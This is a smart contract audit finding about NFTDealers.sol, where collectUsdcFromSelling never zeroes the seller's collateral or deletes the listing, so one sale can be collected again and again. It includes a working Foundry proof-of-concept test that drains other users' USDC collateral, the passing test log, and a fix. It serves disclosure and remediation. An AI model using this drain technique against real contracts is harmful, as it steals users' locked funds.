Summary
The collectUsdcFromSelling function in NFTDealers.sol lacks any state update to prevent repeated calls after an NFT is sold. Because collateralForMinting[listing.tokenId] is never zeroed and no "collected" flag exists, a seller can call this function infinitely after a single sale, draining the contract's entire USDC balance — including other users' collateral and pending sale proceeds.
Impact
After a single legitimate NFT sale, the seller can repeatedly call collectUsdcFromSelling to extract (listing.price - fees) + collateralToReturn on every call. Since the collateral mapping is never cleared and the listing data persists unchanged, each call passes all checks and transfers the same payout again.
Consider a marketplace with 50 active users, each having deposited 20 USDC collateral ($1,000 total locked). A malicious seller lists an NFT for $100 USDC, waits for a buyer, then calls collectUsdcFromSelling repeatedly. Each call extracts approximately $119 USDC (sale price minus 1% fee plus $20 collateral). Within a few calls, the entire contract balance is drained — every other user's collateral and uncollected sale proceeds are stolen.
Vulnerability Details
The collectUsdcFromSelling function performs no state cleanup after paying the seller:
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Compare this to cancelListing which correctly cleans up state:
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
Additionally, usdc.safeTransfer(address(this), fees) on line 186 is a no-op — the contract is transferring USDC to itself. The fees are already in the contract from the buyer's payment in buy(). This means totalFeesCollected inflates on every repeated call while no actual fee separation occurs.
Code Location
-
src/NFTDealers.sol:175-187 — collectUsdcFromSelling() missing state cleanup
-
src/NFTDealers.sol:169-170 — cancelListing() showing correct pattern with collateralForMinting[listing.tokenId] = 0
-
src/NFTDealers.sol:182 — collateralForMinting[listing.tokenId] read but never zeroed
Proof of Concept
POC Guide
Copy the test code below
Paste it into test/NFTDealersTest.t.sol
Run: forge test --mt test_collectUsdcDrain_POC -vvv
Test Code
Location: test/NFTDealersTest.t.sol
function test_collectUsdcDrain_POC() public revealed whitelisted {
address victim1 = makeAddr("victim1");
address victim2 = makeAddr("victim2");
address victim3 = makeAddr("victim3");
usdc.mint(victim1, 20e6);
usdc.mint(victim2, 20e6);
usdc.mint(victim3, 20e6);
vm.startBroadcast(owner);
nftDealers.whitelistWallet(victim1);
nftDealers.whitelistWallet(victim2);
nftDealers.whitelistWallet(victim3);
vm.stopBroadcast();
vm.startBroadcast(victim1);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopBroadcast();
vm.startBroadcast(victim2);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopBroadcast();
vm.startBroadcast(victim3);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopBroadcast();
vm.startBroadcast(userWithCash);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopBroadcast();
uint256 contractBalanceAfterMints = usdc.balanceOf(address(nftDealers));
emit log_named_uint("Contract balance after 4 mints", contractBalanceAfterMints);
vm.prank(userWithCash);
nftDealers.list(4, uint32(1e6));
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 1e6);
nftDealers.buy(4);
vm.stopBroadcast();
uint256 contractBalanceAfterSale = usdc.balanceOf(address(nftDealers));
uint256 sellerBalanceBefore = usdc.balanceOf(userWithCash);
emit log_named_uint("Contract balance after sale", contractBalanceAfterSale);
emit log_named_uint("Attacker balance before drain", sellerBalanceBefore);
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(4);
uint256 afterFirst = usdc.balanceOf(userWithCash);
emit log_named_uint("Attacker balance after 1st collect", afterFirst);
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(4);
uint256 afterSecond = usdc.balanceOf(userWithCash);
emit log_named_uint("Attacker balance after 2nd collect", afterSecond);
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(4);
uint256 afterThird = usdc.balanceOf(userWithCash);
emit log_named_uint("Attacker balance after 3rd collect", afterThird);
uint256 contractBalanceAfterDrain = usdc.balanceOf(address(nftDealers));
emit log_named_uint("Contract balance after 3 drains", contractBalanceAfterDrain);
uint256 totalStolen = afterThird - sellerBalanceBefore;
emit log_named_uint("Total extracted by attacker", totalStolen);
uint256 legitimatePayout = afterFirst - sellerBalanceBefore;
assertGt(totalStolen, legitimatePayout, "Attacker stole more than entitled");
assertLt(contractBalanceAfterDrain, contractBalanceAfterMints, "Victims' collateral was drained");
}
Output
Ran 1 test for test/NFTDealersTest.t.sol:NFTDealersTest
[PASS] test_collectUsdcDrain_POC() (gas: 765233)
Logs:
Contract balance after 4 mints: 80000000
Contract balance after sale: 81000000
Attacker balance before drain: 0
Attacker balance after 1st collect: 20990000
Attacker balance after 2nd collect: 41980000
Attacker balance after 3rd collect: 62970000
Contract balance after 3 drains: 18030000
Total extracted by attacker: 62970000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.13ms (1.65ms CPU time)
| Step |
Contract Balance |
Attacker Balance |
Notes |
| After 4 mints (4 x $20 collateral) |
$80.00 |
$0.00 |
4 users each lock $20 |
| After sale ($1 NFT sold) |
$81.00 |
$0.00 |
Buyer pays $1 for attacker's NFT |
| After 1st collect (legitimate) |
$60.01 |
$20.99 |
Attacker gets $20 collateral + $0.99 sale proceeds |
| After 2nd collect (DRAIN) |
$39.02 |
$41.98 |
Same payout again — stealing victims' collateral |
| After 3rd collect (DRAIN) |
$18.03 |
$62.97 |
Continued drain of other users' funds |
The attacker deposited $20 collateral and sold a $1 NFT. Their legitimate payout should have been $20.99. Instead they extracted $62.97** in 3 calls, stealing **$41.98 of other users' locked collateral. A 4th call would drain the remaining $18.03.
Mitigation
Add state cleanup to collectUsdcFromSelling to prevent repeated calls:
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+
+ collateralForMinting[listing.tokenId] = 0;
+ delete s_listings[_listingId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
